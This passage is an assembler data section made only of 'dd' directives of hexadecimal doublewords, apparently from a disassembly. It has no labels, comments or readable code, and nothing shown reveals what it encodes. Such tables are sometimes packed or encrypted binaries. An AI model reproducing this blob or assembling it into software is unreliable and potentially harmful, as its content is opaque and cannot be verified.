0CA1A6A73h, 945E28C6h dd 6501DCD8h, 152E5705h, 0DDD1EF78h, 81C08228h, 897FFCF6h dd 0F2450597h, 362EA194h, 61161923h, 6E4B23A2h, 0BF771942h dd 0E073FA82h, 0A862F400h, 0A47F9B57h, 0E4B48BFFh, 5FED24DEh dd 42C0BB9Bh, 5BD33D0h, 8E241BBCh, 2789C439h, 0F5E8D585h dd 0ED1D23C7h, 0DE803BB9h, 2C9F4665h, 71F8FEE9h, 0DC02B6FFh dd 0FA6AD304h, 0D1C14CE4h, 4B2060C1h, 7D23B579h, 3141028Ch dd 0A0623E87h, 164660h, 0B23BAF3Ah, 56055AD6h, 8BDA4405h dd 3CD2598Dh, 81FFC161h, 344F0338h, 3EB3A375h, 0B28B0056h dd 6EEF3886h, 0BF5001F5h, 4F41B6F4h, 11ED7A90h, 0CC00D8ACh dd 9E763BB3h, 626F5313h dd 0D698EE2h, 3BA21AC4h, 9EF9A226h, 22176413h, 42F77A0Bh dd 0BB7CB754h, 0F6B98F80h, 28029682h, 17182548h, 4A8450FBh dd 4E235CF1h, 313015A2h, 0E484B528h, 0D24880D8h, 616C4A5Ah dd 30DE104Eh, 890EB8BFh, 215AC5BDh, 0D1F854D2h, 0F16DA753h dd 0D6AD23CEh, 20369823h, 299A0954h, 69FA4DBDh, 4C058E22h dd 0F8393460h, 0DB82345Ah, 0AF18C080h, 977769h, 0D3FFC159h dd 21A5BD03h, 7E5A91B4h, 204D47Eh, 0F4C5F662h, 111F1C1h dd 7DCE900h, 6E5895B4h, 92798217h, 840108EEh, 21232DBDh dd 0FC020459h, 5BE9027Eh, 0D24E50CCh, 60199F01h, 621142F8h dd 740B5360h, 4B1C5A8Bh, 4A7B9296h, 0C288C4D9h, 831D0E45h dd 4415EB8Bh, 950B45B3h, 74C1E926h, 88176269h, 0AB2718EFh dd 83D53797h, 6C5B85A6h, 0BAC7CEF8h, 0E944C80Bh, 917D9F2Eh dd 4D038216h, 1081F6F1h, 70584217h, 0DB4D8D89h, 7CB5A842h dd 205751CAh, 1C401147h, 94BF505Fh, 12485A27h, 8050DBA1h dd 32622616h, 1A8EB569h, 33A598B6h, 0C81B18Bh, 29A80645h dd 39B52981h, 96CC052Fh, 90FE398Bh, 2F50F39Dh, 59DDEE10h dd 5E332F00h, 0F109F4EFh, 0D24501C6h, 0E9DC3984h, 36026520h dd 8ED2F1AEh, 0ABE97Eh, 0DFE28CCAh, 1B4D94Eh, 435DF728h dd 20B0290Fh, 83B0F227h, 0E6CC9D54h, 2DBE7050h, 78E40940h dd 818D1771h, 1993232Eh, 75130D4Bh, 0BE09CB6Fh, 69C4F9CAh dd 0DF37B7h, 0C67310E1h, 151E3067h, 0C7E71BEAh, 6018647Fh dd 26CFD38h, 0BE667DC8h, 0A270532Ah, 9706CBBh, 6A140599h dd 0A14D9C15h, 0B83A7D76h, 950913C6h, 2B0D440Dh, 8063DED8h dd 0FF59CD98h, 691A00A3h, 3D8CBEF4h, 1A9F4B3Ch, 52175BBAh dd 9502815Eh, 60752DBAh, 0BD2299ECh, 0DAF589BAh, 1627FA6Ah dd 9D59D633h, 888F0B2Eh, 49E0CE1Bh, 59367427h, 0B082521Ch dd 0C0CF4D25h, 79589B22h, 2698E100h, 9529EC0Ch, 9429659h dd 1C44890Fh, 3021BD10h, 6E2B9951h, 323099Dh, 0BDB121DCh dd 373E2F65h, 8BA3689Bh, 279A778h, 0B07F4706h, 5160744Fh dd 0DC912DD9h, 4D2DD3A0h, 42FCB221h, 9060071h, 0B50CCDBDh dd 17912A1Fh, 3E32A980h, 8BB7F9ACh, 0AD508A3Dh, 25337ADh dd 53F868DCh, 0D8EEC1E0h, 0B05FAD24h, 9064519Dh, 880F6005h dd 2E8B725h, 63EC1480h, 0B900C898h, 0E0BBDE89h, 1A80AD1Dh dd 7A0462F8h, 3327641h, 7A6BC561h, 0C39E01Ah, 38449E7Ah dd 0BB075FB9h, 6A0B177Ah, 2B09D5E7h, 8B0F5107h, 12D05E42h dd 8EF4F2E2h, 0FA6589B6h, 0D3F660A4h, 0E234B317h, 0F9A63015h dd 2525F690h, 12645B08h, 16D1A2BDh, 199D5FF1h, 0EFD7A21Ah dd 8B5B88C0h, 93D4FB5h, 443D2B5Dh, 0DBC59702h, 0F5C88B9Dh dd 8727BB66h, 56F4B164h, 0DED821A4h, 0E9FC3809h, 0D8BF533Eh dd 0C8019CBAh, 0E634F08Dh, 227E7AFDh, 68606750h, 1F00CD2Eh dd 9D52C21Dh, 17C08BA8h, 0B0798D09h, 5F4A56ECh, 495DFBA3h dd 0DB8D0A8h, 55DABD45h, 0DFC2D312h, 80BF6954h, 293FA1E9h dd 0B415FDBDh, 19467E64h, 0BF8F7200h, 29D03DA1h, 6F458527h dd 9E2E12F6h, 4661CBBAh, 8D291617h, 165DA239h, 62281B15h dd 0FD9D4C29h, 0C8DF9B5Ah, 5EE5C01Ah, 0C513D069h, 0B4A15B2Eh dd 43009333h, 68DFEC50h, 0B5122B90h, 0FBE72AF5h, 204782A1h dd 34A153CEh, 190100Bh, 0C7E800AAh, 9A57912Fh, 5E5E3264h dd 6A8098DBh, 0D1091416h, 15F63203h, 4C39870Fh, 4910A823h dd 0A0E82705h, 0B6DA884Ah, 1C5D0446h, 0A20FA8CAh, 0D4C0005Fh dd 405E2A34h, 0E23F0298h, 180A92A0h, 0CBF2F5h, 3A957964h dd 547C9AFFh, 7FB40602h, 0DE5F5E87h, 9301DC50h, 709A26Fh dd 0A608563h, 8B174001h, 81403F96h, 2F404DD7h, 357D4E97h dd 19E48018h, 837732Fh, 0B20B1400h, 0DA78BF06h, 423E4823h dd 50FA892Ah, 0D577E9h, 0F66191B1h, 0BCFC297Ah, 0E9274095h dd 2554B45Fh, 7A02FC37h, 400D38C4h, 913325F4h, 2E8D0BFAh dd 0BB12DFB8h, 0A2A52430h, 811BF9BDh, 15297060h, 96B91A40h dd 44D39D8h, 3B00BCBCh, 0FE06AE09h, 78A7E6BEh, 8D21390Dh dd 9D9D1530h, 4A8320DDh, 0BA49E418h, 0DFBE9805h, 17538B1Ah dd 0D1E390E6h, 30312BE1h, 83802306h, 3D014CE1h, 90898976h dd 8B2A3166h, 4ABF9844h, 14A5CDD1h, 0C2D1D81Eh, 0CD606125h dd 34D4C513h, 99D60AB4h, 0EEFA6988h, 39E0E3ADh, 90D0C1Dh dd 0E2C7C5DBh, 5AD1C684h, 0BF25F25Eh, 0F280CEF4h, 0AB80F677h dd 0C5804D8h, 0AA403E7Eh, 81515340h, 0A4892F7h, 5A580D50h dd 0DDA43596h, 0A57B41AEh, 0AE050416h, 9F720429h, 5052221Ah dd 6340785Eh, 716FF8h, 0FED7F782h, 596A70A5h, 24355E03h dd 695FC5AFh, 90EDBD77h, 175136E0h, 580C1432h, 0E8E840D0h dd 8100DFA4h, 2FFFF5D9h, 57D6B9h, 3B1CFC89h, 475D5329h dd 0AF3C5C01h, 41958B2Dh, 475E9252h, 7995083Eh, 88EA6197h dd 82009920h, 0FCDD4F8Fh, 3EC4410h, 0E5BD6273h, 35881885h dd 7D481CBEh, 616FD3D4h, 48C73B00h, 0C531E0BFh, 0E19C0D90h dd 0A4808DA1h, 0DED1FD47h, 0BB340973h, 0B1BB2CF6h, 41F5383Bh dd 0FEC0CA60h, 176FBC51h, 0E4DBFF04h, 624E46C0h, 0D81D878Ah dd 6B45E381h, 0A5334CB0h, 1031492Bh, 1E2D63BCh, 0F9E4460h dd 9FA15158h, 50058463h, 2D6CC241h, 37B8DAh, 1B372F7h dd 0DC54E26Bh, 0E239FAA1h, 1FC69690h, 28699D54h, 0BF6FFB4h dd 0E749DB91h, 0C1DA1284h, 41DA12Ah, 813D59ACh, 3703D492h dd 0B5B8B01Ch, 6A284CD0h, 0EE6E561h, 629DBB88h, 226D14A9h dd 0A21EFBCEh, 82C3A780h, 0A454680Ah, 9D80D6BCh, 0C2C7E587h dd 0B8D4E400h, 726BB16Fh, 7FF93A9Fh, 21AD5828h, 16F10E61h dd 0AA267E18h, 0F814C15Fh, 84BBD79Fh, 0E090A6D9h, 10894702h dd 68337985h, 0CD2F7DA6h, 8A4BC0F1h, 66047416h, 0E88CCEBAh dd 2F1368Ch, 0EEBDF567h, 1660EDC9h, 0F4830351h, 0FCCFF834h dd 79018C19h, 0D2514B3Ah, 0DF7003B8h, 5A628229h, 0D2B755h dd 0EAB91BE7h, 12E0517h, 0E8ADB0C5h, 7EF81EFh, 27A15AF2h dd 0FA4EE9C7h, 1832B79Fh, 9D1641Ah, 15235680h, 9625C1B5h dd 7B37612Dh, 10941500h, 5898594Ch, 4D105CEEh, 7EB021Fh dd 0F2E99D61h, 7137BF6Eh, 361ACE00h, 766C5A77h, 552D2F5Fh dd 837CB5D5h, 492FCFF3h, 0AC3008A8h, 88D9AECAh, 0ED0C52ACh dd 2FC10D1Ch, 14C475E9h, 4491F4BDh, 16A4535h, 8ACF6FEh dd 0A82178D1h, 88417082h, 0EF18C1FEh, 43C680Ch, 8FC4DC20h dd 0D4B5702h, 95FFCEE0h, 32E91AA0h, 5818F4BFh, 0C52030DFh dd 329129A9h, 4B01C53Fh, 1858794Dh, 7C6A5031h, 6EA05605h dd 0C3610E12h, 0BAAEE0C1h, 0F00D3000h, 83DDEA81h, 14C28384h dd 1AEDBCC1h, 70FE9F07h, 22254D5Ch, 0C359FD82h, 969AD5AFh dd 58066AF9h, 4C1AC22Bh, 0A9489FF0h, 5A4D3809h, 5212D604h dd 3C504B00h, 7681D003h, 19456B3Ah, 2D8A49DFh, 0E99868C2h dd 31C69AD9h, 0C5FEC88Bh, 4003000Eh, 0F14FDD3Ch, 32F45C2h dd 12ACCF8Bh, 50140B9h, 1C5BF86Ch, 0D103320Ch, 93AFE520h dd 1208D81Eh, 0FF821665h, 0E9437451h, 0E0114C13h, 1005C048h dd 18B0A981h, 3359B514h, 0DDC3C02Fh, 4B241939h, 684701FDh dd 0D49AA7D2h, 21FA5F1Eh, 9622350Ch, 5D43D3EBh, 0C255E7F7h dd 0DC3AD4C0h, 0BE575500h, 0EE8179CEh, 53721CC0h, 0C0609F68h dd 3AE9805Ah, 56BF5E61h dd 385F76CDh, 21537BBBh, 46697A38h, 22CD050Eh, 0A4110520h dd 0EBC04D96h, 9003A6BCh, 4A05C6B1h, 0E81E0B69h, 0B3480829h dd 4E9294E9h, 6DDEE555h, 0BEDB89Ah, 0FBE88DEFh, 0C4310825h dd 5E5E9631h, 3519CD20h, 0F623EAE8h, 0DE73E006h, 7FA228FDh dd 2052890h, 33152B31h, 0B717860h, 8D23990Ah, 0FC868479h dd 5AD94E8h, 0C19D8B60h, 1076FD29h, 613226F9h, 0F020DDFh dd 401B748Fh, 773E8F8h, 0DEDE5EBFh, 59847218h, 0B4293162h dd 5E01F468h, 57DD60E4h, 43AA0F6h, 130726EFh, 2B054CB3h dd 2232418Dh, 0E5EAA9AAh, 2EE06E6Dh, 14588E5h, 23CF1764h dd 682AE180h, 0C51C8070h, 43F0B2h, 81BB870h, 0D9E84518h dd 0FDA7064Fh, 305B39B1h, 3231BF2Dh, 1F59C8B4h, 261E7A7Bh dd 33895365h, 0BD3B02C1h, 0EDE80422h, 12F64A59h, 9946BCE5h dd 0A97575A4h, 805ADB3Bh, 25BE5D5Fh, 7C680046h, 8612E181h dd 0E8343745h, 9EEDA731h, 0F60987B8h, 5C5A7E10h, 4EB62A1Dh dd 80A09E04h, 796B965Dh, 93E10002h, 89F526F2h, 0ACA415B5h dd 0BD05D82Fh, 4BD804C7h, 0AF6AD4BFh, 0F36FE816h, 0C0C0D81Fh dd 8D815B08h, 0B2E54AFh, 919AF31h, 5A0D84A9h, 0BF85C0CBh dd 3242F787h, 0B5B0FD66h, 37BD12F8h, 0B3D00070h, 0DB1E4C7Fh dd 0E8EFBC12h, 943819B2h, 326BF184h, 0F6B260h, 8C6525AFh dd 1307BA87h, 0A0585C5Ah, 618019D8h, 11E83059h, 0C98509E7h dd 0DCB91D4Ch, 80504F60h, 18D139D2h, 0F8E85E16h, 0F39B7E56h dd 708C081h, 2C2DB78h, 4900CF79h, 0EEDEB2D3h, 6F1900A4h dd 0FD89E6C8h, 0CE021D73h, 854C9C5Eh, 48534299h, 0BE2D119Bh dd 0AF81981Bh, 44EA9E8h, 0D0A73CB7h, 0C25EDC97h, 457ED517h dd 658A88h, 4B3F7781h, 573C24A4h, 0C6B49F0Ch, 4E918CE2h dd 0BCA629h, 0A97FF60Ch, 4A8D3118h, 0B96210DDh, 691E582Eh dd 0C54E615Eh, 9BB7327Dh, 8870F3A0h, 71BE6601h, 425E886h dd 0F77A6Eh, 986AF9C0h, 13AE5A69h, 4973BF51h, 0BBA5E494h dd 0B5BFB4B1h, 0B0DF9D67h, 0C0CACD0Bh, 0A8556FBCh, 0EC6D8002h dd 0D4828CEAh, 0D0494752h, 4470DF84h, 0B786CC60h, 4B410DFBh dd 0BDAC8559h, 0D1F0C94Ah, 4F4D2773h, 2FD469C0h, 0E2DF62C4h dd 0C95C2A79h, 808C3569h, 4DE913FCh, 0F0123C6Fh, 0C7E15C6Dh dd 74F08436h, 63EB75C8h, 411200B8h, 23A6FBFDh, 0F7C3487Dh dd 81428027h, 0DC675Ch, 0C690C5CAh, 64958B36h, 92D82B3Ah dd 8880518Dh, 5C0F5693h, 60818A88h, 0F2505F61h, 7F009B46h dd 1E65FF0Bh, 4751472h, 0B7E1FEFBh, 0D656B807h, 33040FA3h dd 2729B5h, 0B0B9665Bh, 0BD8912FBh, 8D81C0F1h, 264CDD95h dd 8C17F8A6h, 9C0B6E09h, 37905E6Bh, 821A67CFh, 184D0442h dd 23B5CDE0h, 0C1985F9Ah, 31B9165h, 0B9B0165Eh, 0E54E9119h dd 0E639440Ch, 75A9E082h, 18E5097Eh, 0D1FC9878h, 0EC92F72Fh dd 70005CF9h, 67534BCCh, 0CA6C0F37h, 0C55F9718h, 0E5198D29h dd 0EDF6AFF8h, 0FC72C4E6h, 0CDA47BA0h, 0AA8ED52h, 7517919Dh dd 4FCFA633h, 13CB6E6Dh, 0A1192301h, 6C89C84Ah, 999F2DF1h dd 0E851511h, 85D505EEh, 6BC86432h, 44592583h, 4BCE06D4h dd 0ED600925h, 6252BF06h, 25B25DF8h, 43D22A1h, 0BF547600h dd 6939DBF1h, 16B7B043h, 65C61181h, 9A368A0Fh, 6BB3F634h dd 0EB17002Ah, 8D0B57FEh, 5F8695C5h, 4D20F45Fh, 88535B09h dd 0DC001189h, 0E641CDF0h, 0A0ABF6A0h, 25291AB2h, 0AD9AD95h dd 9B6CD511h, 0FBFFFA6h, 606270B8h, 7EFB2C59h, 6D2A5D00h dd 0E03263FEh, 0B5DC0044h, 28D221BCh, 0E86B7B55h, 0C00ECD6Ch dd 1337B4DEh, 4CBBBA06h, 0BF9DCB9Ah, 0A402DCB7h, 460F9EFAh dd 0A2EED9h, 55822F22h, 734AF6Dh, 0EABBE431h, 563217F5h dd 206BD2h, 21847A73h, 0A091750Ah, 991DF1A8h, 0BCA32550h dd 375AC7E9h, 3E6CAEC6h, 89C4880Fh, 2D97B54Fh, 7800FBE9h dd 2807CA9Ch, 549ED13Dh, 5B6A9752h, 0C677780Eh, 0EFA3734Bh dd 925E5558h, 24FE6A68h, 698339DEh, 5B576887h, 28C72316h dd 3195A10h, 6D3A664Ch, 0F216B9C0h, 0FA16DA05h, 7500866Fh dd 10F14B1Ah, 0AA02DC63h, 0BD29DB65h, 8AB36859h, 21B7BDC5h dd 59E2CE00h, 2FE6A1A6h, 4FB7C08Bh, 0BB806600h, 958B56B2h dd 7BAB925Fh, 73FFD2C1h, 0B38518Eh, 0E027B6D3h, 27BD010Ah dd 404920C5h, 254B3259h, 0AF69F3C0h, 0B102F9B5h, 60B7F85Bh dd 0EC53DE69h, 5090035Fh, 4616BB66h, 0B87CEDB5h, 178F708Dh dd 0A4A00D3Bh, 1B512D91h, 0C0E55655h, 22321213h, 484872A3h dd 0DAA05A00h, 0FFDC86DEh, 91A8CC17h, 3A8914B1h, 185950FEh dd 0E5D91100h, 764A9339h, 0D4130037h, 0E0BD3F19h, 89BD8C0Fh dd 70225B02h, 0CF1C10ADh, 0BF80B582h, 4F8A2268h, 0DEE7946Ah dd 0E4A75204h, 9CE26D5Bh, 0F5C19B01h, 0EE8F20F7h, 8EDC6B89h dd 0B57A278h, 5F5BC5B5h, 0F4425Ch, 7E618912h, 7D8D0139h dd 0B045DB4h, 0D1EC3D9Dh, 6D619D5Eh, 0B4CCAD99h, 0F221620h dd 71F4F282h, 7B52A9BDh, 0F3F707Ch, 15D48F7Fh, 9B670055h dd 0F2BFD1FFh, 3E5E25B8h, 446EEE57h, 0C4955778h, 0A03D0E75h dd 0FC137A67h, 8102008Ch, 4E22CAEBh, 5C906028h, 0F50A62Ch dd 0BF398054h, 90F28813h, 0E5B86DB9h, 0C607D531h, 0BA140185h dd 0C2F9AF09h, 0E0AB4DBDh, 9871C5F5h, 66B89602h, 0E0E9D381h dd 0BD0D7276h, 1C20AE96h, 3B524832h, 0AB57F8C0h, 98005B91h dd 0FBFA2B50h, 908BD495h, 31F4095Eh, 1A50B19Dh, 0B7B55B71h dd 0B15905E2h, 86A40557h, 85CFC160h, 0A43CEFEh, 6CEB80C0h dd 0E19D0113h, 503E63E9h, 4526972h, 8B4B15Eh, 7757D106h dd 407A9C10h, 0ACCD3D6Ch, 76B96300h, 5B420695h, 4059A61h dd 146C4BFh, 9EA9AA4Dh, 9CA8DAD2h, 0B4899FC0h, 0A2E15118h dd 672FFAEh, 0DBAE840Fh, 98CDA0ACh, 0BE80A02h, 7CD2AD27h dd 0FEBFD058h, 0C0F3EBABh, 0FCE38250h, 97E6027Eh, 8F330EBEh dd 2B8598D7h, 895D7C9Dh, 27310981h, 0B30703C5h, 4CA9EBF3h dd 0F3317E07h, 0FADE9D89h, 141D9D7Ah, 76801B11h, 97EB1B8h dd 100D2B17h, 0D099D90Eh, 83516025h, 0C3E15196h, 0FF1014D1h dd 324BE5B5h, 0A43EB07Ah, 0A5A2CAh, 0E7EB0E66h, 1205E64Ch dd 94B74AAh, 7C9B5536h, 0E90216B2h, 8430FE0Fh, 0BF126D9Dh dd 0F7F02967h, 38E297BAh, 0F24EB0C8h, 75017BEAh, 33670FC1h dd 0D6DCF196h, 44100FBh, 0ECF0D5B4h, 705AE67Fh, 2F326601h dd 0CBD871E4h, 0C7D217CFh, 0CE05A479h, 9D0953C2h, 878BAF39h dd 0BFF2C8B6h, 749A7FDAh, 13450500h, 0F618EE80h, 0B7888BD9h dd 26F49EF8h, 0BD2389BDh, 0CE9C1EF2h, 6108ED2Ch, 0ACB7032Ch dd 9E02C82Bh, 8BEAC3EFh, 407576D1h, 0EC9A8FA7h, 0DC6690Ah dd 94A03DFDh, 0B28307F6h, 98907A85h, 0B3B5F7DEh, 0BD4B050Ch dd 3BEC46D9h, 6589ECD0h, 7CF91253h, 20E86504h, 0EB768EB0h dd 3A22AF00h, 496C0CA6h, 0E07EFF52h, 6D327AFBh, 0A9D98C0Eh dd 95CC8199h, 313F1811h, 111F8427h, 0E2FBEF80h, 0FE3685A5h dd 832996E0h, 48F6F2B4h, 1AC40B5Ch, 0B56A18E9h, 21C83F2Ah dd 8F92DBDFh, 3C276C59h, 8DB35BB7h, 0B1D3432Eh, 0F5B9950Bh dd 422BCF07h, 74595C27h, 0FB059FA4h, 8905F519h, 58C50FCh dd 2B8500B6h, 7E79EFD9h, 41008801h, 8BFFB19Bh, 0BB4A4Ch dd 7BCA349Eh, 31FC5B5Fh, 2B59525h, 0D1C02B80h, 0D225BC6Ah dd 0C8C0996Dh, 0BB158Fh dd 2437AFEh, 0D1C233ADh, 83D048C0h, 167504E9h, 0A49529F4h dd 0DD13B3B5h, 29C8880Dh, 958B09DFh, 6A902375h, 0E2831551h dd 4D3140FAh, 24EEA432h, 81E0173h, 501D2719h, 1846C2DEh dd 0FF08C103h, 198564D3h, 0C44DDB58h, 86C1B5F4h, 8FA413BDh dd 0ED0D34D5h, 98D7B842h, 8A8770A8h, 25984C0h, 65B19197h dd 2804B815h, 0F9EE15B8h, 4CF2CEB8h, 1ADB2ED2h, 3E1F5880h dd 0AE04D277h, 0EBF97399h, 4A80AEBh, 15590871h, 0F3E1FF0Bh dd 7BE0782Bh, 3115B55Ch, 3169E462h, 4406C0Ch, 0D852429h dd 1013A1E1h, 14742201h, 107DC380h, 860F0381h, 0ED89132Eh dd 100990F4h, 1204595h, 68E2BB60h, 137B5833h, 83179BACh dd 10E9396Bh, 131B2566h, 0D500E180h, 9164D781h, 0B2C96B0Ah dd 0B253BD09h, 14355BD0h, 0C97E429Fh, 9813C516h, 4703FB57h dd 84391C5Ah, 0BB26D89Eh, 4EEE02E8h, 8553517Ah, 1AE2E963h dd 0B565700h, 15755DBDh, 335F5B07h, 89149785h, 39E3EE4Dh dd 0DDA2290h, 0E42FB381h, 0D300FBB8h, 89EE7D24h, 44E85E75h dd 9E00A113h, 0E9BA49A4h, 7F6A66h, 0ABE7A0BDh, 75697D81h dd 530D3E0Ch, 0BD90025Bh, 946EFC83h, 0F1DDA456h, 82ABB7Dh dd 0E812029Ch, 3FF0FD0h, 3BE6B51Fh, 3D2E8F00h, 0A0A99707h dd 7A6A0053h, 0D01A9835h, 504F5FECh, 0C800C1E3h, 3311758Ah dd 731BB898h, 0A4838B5Bh, 0A2761CBEh, 70434CBEh, 0D017E8F1h dd 0EB876A23h, 689E4F06h, 60521F4Eh, 9B58D261h, 6CAE82DCh dd 0F91D6052h, 58574D5Bh, 82BD1E20h, 1F1441FBh, 4B801911h dd 591BC754h, 27AFCD50h, 8221B02Ch, 4080588h, 0EA01F2E9h dd 8F3A6E7Ah, 0C48C513Fh, 9166E692h, 9D85A29Fh, 8C068FA5h dd 25B77F1Fh, 4377C767h, 6EAF8562h, 54BA00BFh, 8A69A8D4h dd 0B411065Ch, 6423B58Bh, 0E779EDB7h, 0AAC4F0EFh, 4719FF1Dh dd 0C9B8F4AEh, 0F989163Bh, 227B861h, 0B2584EDCh, 67689A5h dd 369D00DEh, 0B17D9950h, 0DB078189h, 12E7A467h, 29FDCB7Fh dd 0B32833B7h, 4046F2D8h, 942D9D74h, 0BF9600B6h, 4794E69Eh dd 0CDBD5077h, 6497C111h, 0E984C499h, 321B0B60h, 0C7CA25h dd 8F561EE1h, 0FF0D78D3h, 9FCB552h, 60D99D01h, 0B8656805h dd 0AF924A36h, 1FBBE28Ch, 47816D2Fh, 141A9A24h, 0B8A5AD6Eh dd 0CBDB02ABh, 299D23A1h, 29E17657h, 25A8AC82h, 801663F2h dd 0D4939ADBh, 0F960AFDEh, 0C91B830Fh, 90985655h, 7E005FF0h dd 0FF01BFAFh, 41FE5Bh, 89A87431h, 79E427Fh, 0E15F3E24h dd 50FC7B5Ah, 0DE09090Bh, 0ECF8B33Bh, 69BF16D3h, 311A223h dd 8B659A4Eh, 0BDD1A1D2h, 0E4FEACD0h, 16D500AAh, 84BA326Dh dd 0C72CF861h, 3F6DCD85h, 0FBF31C66h, 3146E5F0h, 0DC0DBD38h dd 96B2900Ch, 3FA51F56h, 0CC0CA5Bh, 6980C482h, 636A120Bh dd 0E9C8B07Eh, 0C10BDE1Eh, 3050FABFh, 44C1600Ch, 0C11E01E6h dd 0EB310E8h, 0F14C8302h, 75295803h, 36EBE70Dh, 6404DE36h dd 3316EE39h, 2829501Bh, 58182140h, 570113CDh, 8BC01B09h dd 804FB1C0h, 60BB5E27h, 0A8E8E64Ah, 776379Fh, 2B52573Fh dd 9E81C927h, 715D4A02h, 850EC3E5h, 207691E1h, 8FF80C41h dd 29E36C95h, 66E5786Ah, 81023DC3h, 1C2AF7C7h, 6CF14241h dd 1BA5272Ch, 415FC11h, 178007E8h, 1291F050h, 0F2FF2200h dd 0C913DCFAh, 214C0018h, 0C744F902h, 804E0F8Bh, 0E1D8231h dd 0F3615F02h, 6A2B0D1Bh, 850C0538h, 0DBC10759h, 0C7021D69h dd 52F50E5Fh, 0FBC12E9h, 40F21D00h, 5B72EFECh, 28E95C96h dd 1C510D80h, 3916CE7Eh, 0AC50B6h, 6526D834h, 0E00CB6A0h dd 7C3EED13h, 6E92235h, 8AA06A02h, 8472C9DDh, 1DE13DC5h dd 2E06E3Fh, 36F9AF8h, 7FD8008h, 0A57EAE2Ah, 0D6D224C5h dd 4EFD9209h, 0E146060Fh, 580176A3h, 21C46851h, 0F560052Ah dd 200949B2h, 8080F23Eh, 0F8FEBA66h, 31615F2Ch, 4147108h dd 8CC48689h, 3827EF6Ah, 0B45C1BB0h, 831421BBh, 0F0C23EC2h dd 6A59290Eh, 18439800h, 2AD0D76h, 897314F0h, 0B0D42050h dd 2B8200DCh, 60EC430Ch, 290B6B95h, 1019C9BDh, 80C4A450h dd 0C4C8DE8Bh, 0BD09BBB8h, 0DCEC207Dh, 5E4B900h, 68633CF0h dd 6A1D00F7h, 0B3DE9184h, 5A0046ADh, 0B7F38155h, 5F5415F6h dd 0A30CE75Bh, 1F499098h, 9B069839h, 48240945h, 70466432h dd 8637B100h, 1EDA602Bh, 21909D59h, 5E0024DEh, 1B85661Ah dd 17A1D507h, 8C170AFBh, 112CB7DDh, 8907CB96h, 0CD6950D5h dd 4284C2E4h, 37F75192h, 1A31675h, 39B8AEBAh, 49A888E8h dd 0DA8B0930h, 0DB99883h, 556F22C4h, 206269CFh, 0AD524001h dd 7E608107h, 2FDFF8Ch, 0BF63F8Ch, 97A0ED9Dh, 93B0535Eh dd 0F1045B5Eh, 7C1D6AB6h, 44F35F5Eh, 0DB243489h, 0C0ADC19Eh dd 0D92042E3h, 190341FDh, 4D8A01ACh, 59050516h, 12602E29h dd 9520D780h, 2B0E90DDh, 0C3A8BF9Dh, 60D91EA3h, 885C0240h dd 8912F98Bh, 0D9B4E59Dh, 952D7685h, 0A2D0CD7Bh, 1C9EAD7h dd 0C12B2D68h, 0C2C6E065h, 0D840914Fh, 5A1B0AA7h, 0A0781DB2h dd 814AB8B0h, 8EE309C5h, 0D23217F2h, 0B70F0317h, 0F3DBE9DAh dd 73FCA9CFh, 2F4048DCh, 28027910h, 0D5BEA50h, 0C189F05Fh dd 0AD8973FCh, 0F0053935h, 16FB257Bh, 8091E86Fh, 41457F82h dd 2C5F072Eh, 9161D8CAh, 289E772Ah, 5C0A806Ah, 1D026691h dd 40B3A9D8h, 97BE7E8Ch, 1B0413C6h, 5BAF07C5h, 8F086E85h dd 0A899800Ah, 1BDE69B4h, 431D2605h, 0BA815E4Fh, 832061F3h dd 82044989h, 81D27AE9h, 0D9DE5760h, 25B50140h, 6A2F832Dh dd 8285E2F0h, 90307905h, 269589A1h, 41F80F1Dh, 0F82241CDh dd 5B4BF556h, 0BD2BCA80h, 0E5295F2Dh, 26FE2B0Dh, 0D97B5CC1h dd 1F50B797h, 4D5B4BAEh, 543870F4h, 0C56B9D4Bh, 0BFEFF011h dd 0F9D2E80Fh, 0CE92BCDCh, 13001EAh, 37C8D381h, 9A3E04E3h dd 0C01AC8E6h, 0E2A47975h, 97DB4712h, 22F56304h, 4E87B712h dd 84002C6Ah, 0E0583C97h, 0B572F2D0h, 1AFE61BDh, 2BD1FF01h dd 923E6C6Eh, 0C9784F80h, 0B5A2A307h, 45AA1497h, 12D2A989h dd 0B7026A0Bh, 6BDE8035h, 3289A5C1h, 90585E04h, 6081D7BFh dd 0DB3F5056h, 0B2A2C0CBh, 0B580D3D7h, 1332DE04h, 46B7DA57h dd 0DB763EB0h, 0E6C154CAh, 40C870A5h, 5B25E91Bh, 88BBC50Eh dd 0B42841D7h, 802FD561h, 0F62AB7D3h, 0FEB0E0DFh, 8D312EC8h dd 0A758C9CBh, 0E28F6D95h, 0C4E00A01h, 9C070FCBh, 0BB901566h dd 28469241h, 78A9C645h, 0D95C07B8h, 0B4BF02CCh, 406B6F2Ch dd 950E351Dh, 10E714DFh, 0B405A59Dh, 3E0CCB6h, 0F41F951Bh dd 1453C77Fh, 49FE520Eh, 0D66BFCFBh, 0DD001B46h, 4C0C868Eh dd 3036E15h, 8509FF6Ah, 60EEB5EDh, 1A453EF6h, 0FF5FB3Dh dd 0C010174Fh, 9765BE5Ch, 0A41C1737h, 0E13E1767h, 0BC542965h dd 18D725C1h, 11257C70h, 116CC529h, 0BF66045Ch, 0BFF9BE5h dd 7D2B09Bh, 70E68788h, 50FAC4A2h, 1071E433h, 6621042Dh dd 0B99A6ABBh, 1311656h, 7C01FCB6h, 0E41F5EE3h, 6AE17F53h dd 97E2F8C0h, 228C6125h, 0A071BAEBh, 26172D88h, 41C631EBh dd 71D2720Fh, 72A3015Bh, 0BF378C28h, 0BB716D9Ah, 0F17162A5h dd 8BC20075h, 0EF1AD1A1h, 21E6F000h, 0D506A7D4h, 13F9FC5Ah dd 0FCC82B84h, 0FF103FEh, 0B361CBBFh, 24BED4D1h, 308CC07Ah dd 2400036Bh, 0B58A086Dh, 225FAh, 5FF93ED5h, 6663D6B9h dd 0E961240Dh, 6F783929h dd 3404C180h, 8A00F41Ah, 0DD3D7CF9h, 2FF85E52h, 20AB820Fh dd 79FC5A44h, 0EE943B0Bh, 2E325042h, 167E143Ch, 2CEDE585h dd 0BF7180E3h, 0E2AC28D3h, 0C10D97D0h, 1760C206h, 199726F9h dd 811015BEh, 0FC05CBD7h, 48E92B07h, 0CC503D0Ah, 1C064908h dd 0B64B7C5Bh, 71C309DCh, 14AE71AAh, 0EED1C52Ah, 533A184h dd 2003A583h, 0EAB529FEh, 80A5642Eh, 0B59D0168h, 0B95BEF29h dd 20D23F08h, 6ADE25D0h, 0EC78E4DBh, 0F83B250Dh, 0B7C0CF7Eh dd 9ABCB9DEh, 0C8690E3h, 0AC902E0h, 0C1BDFCE2h, 983A293Eh dd 9400C7D0h, 